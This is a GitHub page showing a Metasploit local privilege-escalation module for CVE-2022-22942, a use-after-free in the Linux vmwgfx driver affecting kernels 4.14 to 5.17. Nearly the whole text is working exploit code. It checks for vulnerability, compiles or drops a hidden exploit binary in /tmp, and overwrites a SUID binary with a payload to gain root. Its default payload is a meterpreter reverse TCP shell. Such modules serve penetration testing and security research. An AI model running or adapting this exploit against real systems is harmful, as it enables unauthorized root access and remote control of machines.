-
Notifications
You must be signed in to change notification settings - Fork 13.8k
/
vmwgfx_fd_priv_esc.rb
173 lines (152 loc) · 6.11 KB
/
vmwgfx_fd_priv_esc.rb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
Rank = GoodRanking
include Msf::Post::Linux::Priv
include Msf::Post::Linux::System
include Msf::Post::Linux::Kernel
include Msf::Post::File
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
include Msf::Post::Linux::Compile
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'vmwgfx Driver File Descriptor Handling Priv Esc',
'Description' => %q{
If the vmwgfx driver fails to copy the 'fence_rep' object to userland, it tries to
recover by deallocating the (already populated) file descriptor. This is
wrong, as the fd gets released via put_unused_fd() which shouldn't be used,
as the fd table slot was already populated via the previous call to
fd_install(). This leaves userland with a valid fd table entry pointing to
a free'd 'file' object.
We use this bug to overwrite a SUID binary with our payload and gain root.
Linux kernel 4.14-rc1 - 5.17-rc1 are vulnerable.
Successfully tested against Ubuntu 22.04.01 with kernel 5.13.12-051312-generic.
},
'License' => MSF_LICENSE,
'Author' => [
'h00die', # msf module
'Mathias Krause' # original PoC, analysis
],
'Platform' => [ 'linux' ],
'Arch' => [ ARCH_X86, ARCH_X64 ],
'SessionTypes' => [ 'shell', 'meterpreter' ],
'Targets' => [[ 'Auto', {} ]],
'Privileged' => true,
'References' => [
[ 'URL', 'https://grsecurity.net/exploiting_and_defending_against_same_type_object_reuse' ],
[ 'URL', 'https://github.com/opensrcsec/same_type_object_reuse_exploits' ],
[ 'CVE', '2022-22942' ]
],
'DisclosureDate' => '2022-01-28',
'DefaultTarget' => 0,
'DefaultOptions' => {
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp',
'PrependFork' => true
},
'Notes' => {
'Stability' => [CRASH_OS_DOWN],
'Reliability' => [REPEATABLE_SESSION],
# seeing "BUG: Bad page cache in process <process> pfn:<5 characters>" on console
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
}
)
)
register_advanced_options [
OptString.new('WritableDir', [ true, 'A directory where we can write and execute files', '/tmp' ])
]
end
def base_dir
datastore['WritableDir'].to_s
end
def check
# Check the kernel version to see if its in a vulnerable range
release = kernel_release
unless Rex::Version.new(release) > Rex::Version.new('4.14-rc1') &&
Rex::Version.new(release) < Rex::Version.new('5.17-rc1')
return CheckCode::Safe("Kernel version #{release} is not vulnerable")
end
vprint_good "Kernel version #{release} appears to be vulnerable"
@driver = nil
if writable?('/dev/dri/card0') # ubuntu, RHEL
@driver = '/dev/dri/card0'
elsif writable?('/dev/dri/renderD128') # debian
@driver = '/dev/dri/renderD128'
else
return CheckCode::Safe('Unable to write to /dev/dri/card0 or /dev/dri/renderD128')
end
vprint_good("#{@driver} found writable")
@suid_target = nil
if setuid?('/bin/chfn') # ubuntu
@suid_target = '/bin/chfn'
elsif writable?('/bin/chage') # RHEL/Centos
@suid_target = '/bin/chage'
else
return CheckCode::Safe('/bin/chfn isn\'t SUID or /bin/chage not writable')
end
vprint_good("#{@suid_target} suid binary found")
if kernel_modules&.include?('vmwgfx')
return CheckCode::Appears('vmwgfx installed')
end
CheckCode::Safe('Vulnerable driver (vmwgfx) not found')
end
def exploit
if !datastore['ForceExploit'] && is_root?
fail_with(Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.')
end
# Make sure we can write our exploit and payload to the local system
unless writable? base_dir
fail_with Failure::BadConfig, "#{base_dir} is not writable"
end
# backup the suid binary before we overwrite it
@suid_backup = read_file(@suid_target)
path = store_loot(
@suid_target,
'application/octet-stream',
rhost,
@suid_backup,
@suid_target
)
print_good("Original #{@suid_target} backed up to #{path}")
executable_name = ".#{rand_text_alphanumeric(5..10)}"
executable_path = "#{base_dir}/#{executable_name}"
if live_compile?
vprint_status 'Live compiling exploit on system...'
payload_path = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}"
c_code = exploit_source('CVE-2022-22942', 'cve-2022-22942-dc.c')
c_code = c_code.gsub('/dev/dri/card0', @driver) # ensure the right driver device is called
c_code = c_code.gsub('/bin/chfn', @suid_target) # ensure we have our suid target
c_code = c_code.gsub('/proc/self/exe', payload_path) # change exe to our payload
upload_and_compile executable_path, strip_comments(c_code)
register_files_for_cleanup(executable_path)
else
unless @suid_target == '/bin/chfn'
fail_with(Failure::BadConfig, 'Pre-compiled is only valid against Ubuntu based systems')
end
vprint_status 'Dropping pre-compiled exploit on system...'
payload_path = '/tmp/.aYd3GAMlK'
upload_and_chmodx executable_path, exploit_data('CVE-2022-22942', 'pre_compiled')
end
# Upload payload executable
print_status("Uploading payload to #{payload_path}")
upload_and_chmodx payload_path, generate_payload_exe
register_files_for_cleanup(generate_payload_exe)
print_status 'Launching exploit...'
output = cmd_exec executable_path, nil, 30
output.each_line { |line| vprint_status line.chomp }
end
def cleanup
if @suid_backup.nil?
print_bad("MANUAL replacement of trojaned #{@suid_target} is required.")
else
print_status("Replacing trojaned #{@suid_target} with original")
write_file(@suid_target, @suid_backup)
end
super
end
end